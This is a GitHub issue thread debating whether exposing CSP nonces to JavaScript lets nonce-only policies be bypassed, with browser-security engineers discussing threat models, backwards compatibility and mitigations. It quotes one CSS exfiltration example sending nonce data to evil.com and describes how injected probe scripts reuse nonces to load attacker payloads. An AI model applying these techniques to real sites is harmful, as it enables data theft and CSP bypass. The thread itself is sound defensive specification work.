w3c / webappsec-csp

WebAppSec Content Security Policy
https://w3c.github.io/webappsec-csp/
Other
210 stars 78 forks source link

Accessing the `nonce` from JS, effectively makes all nonce based CSPs `strict-dynamic` #458

Open shaialon opened 3 years ago

shaialon commented 3 years ago

Summary

It is recognized that a nonce based Content-Security-Policy (CSP) is stronger if it does not allow strict-dynamic, since scripts that are running cannot load other scripts arbitrarily. However, the w3c specs, and browser implementations of Chrome and Firefox, allow any running script to extract the nonce from a DOM element, thus being able to load any remote script and bypass the CSP. The "strong" policy without strict-dynamic, essentially becomes strict-dynamic anyway, since any running script can access the nonce from the DOM and use it to load any other script from any origin.

Explanation

Background

It is recognized that a L4 nonce based CSP such as:

script-src
  'nonce-q467FBTv9UZCO6yTdLY6kA'
  'unsafe-inline';
report-uri
  /cspreport;

Would be stronger than an L3 CSP using strict-dynamic:

script-src
  'nonce-q467FBTv9UZCO6yTdLY6kA'
  'strict-dynamic'
  'unsafe-inline';
report-uri
  /cspreport;

Example explanation of this by @mikispag @lweichselbaum in this talk:

Issue with specs

The w3c specs clearly recognize the risk of exposing the nonce, as can be seen in 7.2.2. Nonce exfiltration via content attributes, that blocks elem.getAttribute('nonce') (and access via css such as script[nonce=a] { background: url("https://evil.com/nonce?a");}).

However, the specs intentionally allow scripts to access the nonce, as example by elem.nonce

The nonce section talks about mitigating these types of attacks by hiding the nonce from the element’s content attribute and moving it into an internal slot. This is done to ensure that the nonce value is exposed to scripts but not any other non-script channels.

This essentially provides a way to bypass strict L4 policies and "downgrade" them into L3 (or below)

Past Reasoning

The reasoning was also discussed by @arturjanc back in 2016 :

After replying I realized that this would cause problems for a bunch of JS libraries which want to be compatible with CSP and propagate nonces to scripts they load dynamically ... Overall there definitely is value in protecting nonces (e.g. with #98 or something similar), but only to the extent that is prevents the attacker from executing scripts in the first place. If we assume the attacker can already execute JS then the application is entirely compromised so any restrictions won't really help.

However, the community has since figured that it does not make sense for all libraries to be "csp compatible" as was imagined back in in 2016, and hence decided on the strict-dynamic standard, that leaves the decision up to the site developer. If the developer adds strict-dynamic - then scripts can automatically load other scripts automatically, and don't have to be "CSP compatible". However, if the developer explicitly sets an L4 nonce policy (without strict-dynamic) - then scripts should not be able to load other scripts.

Problem that this creates

Since the current spec that allows extracting the nonce easily from any existing script DOM node, it essentially downgrades an L4 CSP to L3 - and imposes a strict-dynamic even on stronger policies.

@mikewest suggest 4 years ago in this comment that an attacker will not have script access:

That is, document.querySelector('script[nonce]').getAttribute('nonce') would return an empty string, while document.querySelector('script[nonce]').nonce would return the nonce value. As long as the attacker doesn't have script access, they'll have a hard time making use of that value.

Today however, attackers may have script access - and the CSP needs to defend against that also. One such prevalent form of attacks on the web client-side is supply chain attacks know as Magecart, in which attackers manage to inject a snippet into a pre-approved script, and dynamically load a custom attack script from an attack-controlled origin. An allowlist based CSP would be able to block such loading of a script, but due to the easy ability to extract nonces from the DOM, an L4 policy would be bypassed in this case.

Context

I submitted this bug report to the chromium project, only to find that current approach of blocking the nonce from getAttribute, but having it accessible via elem.nonce is the specification.

Suggestion

Prevent exposing the nonce to script access - which degrades the actual effectiveness of nonces. The developers can specify strict-dynamic if they would like to allow scripts to load other scripts.

arturjanc commented 3 years ago

Thanks for the well-written report, @shaialon! I do agree with the general concern about the risks of nonces being readable by scripts, but this is -- for better or worse -- happening by design. There are two major issues to keep in mind here:

  1. CSP does not provide any meaningful security guarantees once a single attacker-controlled script has executed. An attacker who has achieved script execution has full control over the vulnerable origin's data (for example, they can exfiltrate it by mechanisms not covered by CSP such as navigations, postMessage, or various other side channels) and can allow themselves to execute additional scripts.

    For example, the attacker can inject scripts which will perform symbolic execution of JavaScript (similar to how e.g. Angular's ASTInterpreter works) and evaluate the contents of incoming messages, location.hash, window.name, etc.

    The Magecart example is an attack that CSP really cannot mitigate, especially because server-side compromise allows the attacker to disable any policies set on pages with the attacker's malicious script.

  2. Removing scripting access to nonces is backwards-incompatible. Any website which propagates nonces to dynamically created scripts by explicitly setting their nonce attribute, without relying on 'strict-dynamic', would break, because these scripts would no longer load. I doubt we could do this, even if we decided this has security benefits.

As a workaround, authors who want to use nonce-based policies, but are worried about the nonce being read from the DOM by one of the trusted (nonced) scripts and used to transitively load additional scripts, can dynamically add a policy to disable script execution after the DOM has loaded. See the example in the "Mitigating DOMXSS even without nonce support" section at https://dropbox.tech/security/unsafe-inline-and-nonce-deployment -- in this case, the policy could be something like script-src 'none' or script-src 'unsafe-eval'.

mikispag commented 3 years ago

Thanks for your report!

I wouldn't say a nonce-only (L4) policy is "bypassed" by the ability of blessed JS to access the .nonce property of a DOM element. Removing that ability would make it impossible for libraries to selectively propagate nonces to scripts they inject. From your argument, it looks like you think this is no longer a valid concern, since 'strict-dynamic' exists, but manual nonce propagation is used in high-security settings and still makes sense in general, when 'strict-dynamic' is too broad.

To sum up my point of view: this is not an issue because if you have script execution in a blessed script, all kinds of nonce-based CSPs become useless (having a double nonce-based + allowlist-based policy - what we call L5 in our presentation - would protect even in this case).

mikewest commented 3 years ago

It won't surprise you to learn that I agree with Artur and Miki. It's worth pulling in folks from other vendors to get their opinions as well, but IMO this is a reasonable part of CSP's threat model, and one that's difficult to change without breaking developer expectations.

/cc @johnwilander and @dveditz, who might be able to point to folks in WebKit and Gecko respectively.

shaialon commented 3 years ago

Appreciate your responses and thoughts. I totally understand why changing this behavior now, would be a challenge in terms of backwards compatibility.

A few responses:

The Magecart example is an attack that CSP really cannot mitigate, especially because server-side compromise allows the attacker to disable any policies set on pages with the attacker's malicious script. ~ @arturjanc

I agree that this use case is not CSP's main intent or what it's highly optimized for (out of the box). I do however think it can provide some form of defense-in-depth protection. Many Magecart attacks are at the supply-chain level - could be on 3rd party static files that run in thousands of sites, or on the victims's file CDN. They typically would not be able to typically disable the CSP. Since a common attack pattern is injecting a small "probe" script from the breached asset, and from there loading a custom script from an attacker controlled origin, there is a benefit to the site developer to limit which scripts can be loaded by other scripts in the page (albeit blessed)

manual nonce propagation is used in high-security settings and still makes sense in general, when 'strict-dynamic' is too broad. ~ @mikispag

Got it. I guess I could imagine instances in which an attacker could get a script to run via another script, but not manage to get ahold of the nonce. I do however still believe that this "hack" to manually propagate the nonces, somewhat undermines the strength of L4 (or at least how I perceived it)... I like the L5 recommendation! I've been focused recently on generating the strict CSP allowlists automatically with a combination of analysis techniques, so this approach totally makes sense.

As a workaround, authors who want to use nonce-based policies, but are worried about the nonce being read from the DOM by one of the trusted (nonced) scripts and used to transitively load additional scripts, can dynamically add a policy to disable script execution after the DOM has loaded ~ @arturjanc

Interesting idea and approach! I am focused on general CSP technology (that can work on any stack), so this seems as it would be harder to rollout reliably at a generic level, compared to rolling out and L5 allowlist based policy as @mikispag suggested.

arturjanc commented 3 years ago

Since a common attack pattern is injecting a small "probe" script from the breached asset, and from there loading a custom script from an attacker controlled origin, there is a benefit to the site developer to limit which scripts can be loaded by other scripts in the page (albeit blessed)

The main challenge with this is that to thwart attacks in the scenario you're describing the browser would have to prevent the "probe" script injected by the attacker from doing one of the following:

  1. Communicating with the attacker to receive the main payload.
  2. Turning the payload received from the attacker into executable code which contains the real malicious functionality.

To the first point: after an attacker has already managed to execute their initial script, that script will be permitted to communicate with the attacker's infrastructure in multiple ways: using mechanisms not covered by CSP (postMessage, navigations, window.name), using APIs for which the vulnerable page doesn't set CSP directives (only a minority of sites set base-uri or form-action), or using domains allowlisted in the page's CSP (many advertising/widget domains commonly added to CSP host user-controlled content; the attacker can load their payload from such a domain). Addressing this would require changes to CSP itself, changes to pretty much every site's policy, and changes to the external content websites load. Even then I have little confidence that this would be sufficient because the web has a lot of side channels that permit communication between unrelated windows which the attacker could use to transmit their payload.

To the second point: an attacker who can execute their initial script can prepare the environment to turn any information received using one of the techniques above into executable code. The AngularJS ASTInterpreter example mentioned above is just one way to do this; in general, you can write a JavaScript parser in JavaScript delivered in the initial script and bypass any platform-level restrictions on dynamically executing code such as unsafe-eval or loading additional scripts by re-using the script nonce from an existing script. I don't see how CSP could prevent that from happening.

In the end, I expect that all we would achieve by preventing an attacker from re-using a nonce after they've already executed their probe script is that they'd have to write a little more code to get around the platform restrictions that we'd put in place here: we wouldn't be adding a defensible security boundary. (A silly analogy here is that we could also ban any script with the letter "t" -- this would probably break all XSS payloads, but attackers would quickly adjust and rewrite their code to work in the face of such a restriction.)

shaialon commented 3 years ago

@arturjanc Thanks for the thoroughly crafted explanation!

You've definitely convinced me that exposing the nonces to JS has more advantages than drawbacks, and that the specs don't need to be changed.

Regarding your arguments, while I agree with you that it may be possible for an attacker to technically overcome a very strict CSP, in practice - given the many limitations that attackers have (harder to add a more complex probe, need to custom fit solutions to a specific site CSP), I think a strict CSP would prevent the effects of a Magecart attack in the vast majority of cases, and attacks would focus on more exposed sites (which are plentiful).

Also, with regards to your thoughts about current utilization of CSP, I agree that most sites are doing it wrong, which is why my team and I have opened CSP Scanner which detects the use cases you described:

only a minority of sites set base-uri or form-action

many advertising/widget domains commonly added to CSP host user-controlled content; the attacker can load their payload from such a domain

We also opened RapidSec which abstracts away the complexity in managing a CSP, and makes it possible for any site to deploy a strict content-security-policy (along with other best practices such as SameSite cookies and other headers). This is still evolving as we go, but already seeing much stronger policies being deployed by early customers!

Cheers, Shai

ctidd commented 3 years ago

The escalation seen here is similar in effect: https://github.com/w3c/webappsec-csp/issues/243

As per this issue, a nonce is not enforced for ES module imports from within a trusted script (even without strict-dynamic enabled), which makes the behavior of these imports equivalent to strict-dynamic. Even with a nonce policy, and no attacker scripts running, if a vulnerable script can be coerced to dynamically import() an attacker-controlled script, an application is compromised.

Based on my understanding of this, strict-dynamic appears to be de-facto equivalent to the behavior effectively possible given a nonce policy. (So it may be appropriate to consider a nonce policy to in fact provide only the assurances of a strict-dynamic policy, which aligns with above descriptions that as soon as any attacker script is running, the application is entirely compromised.)

It seems to me that when using nonce (or nonce with strict-dynamic), a second CSP should be applied to restrict to a known source list in addition to the nonce-based policy.

arturjanc commented 3 years ago

Even with a nonce policy, and no attacker scripts running, if a vulnerable script can be coerced to dynamically import() an attacker-controlled script, an application is compromised.

This is true, but note that this is also the case for a regular nonce-based policy independently of import(). If the application legitimately loads a script (via <script nonce=... src=...> or document.createElement('script')) and there's an injection into the URL of that script, the attacker can also compromise the application.

It seems to me that when using nonce (or nonce with strict-dynamic), a second CSP should be applied to restrict to a known source list in addition to the nonce-based policy.

It's not a bad idea to have an additional CSP with an allowlist, but this is not required to uphold the security properties of a nonce-based CSP. If you have a CSP with a nonce and there's a regular HTML injection in your application, the CSP will generally prevent script execution; if there's an injection into the URL of a <script src> or into the body of an inline <script> element with the correct nonce, the CSP will not protect you and the attacker will be able to execute arbitrary scripts.

Basically, since controlling the arguments to import() requires one of the two kinds of injections mentioned above, there's relatively little additional benefit in controlling what the import() can load. FWIW this slide deck has some more context and opinions about useful policy combinations.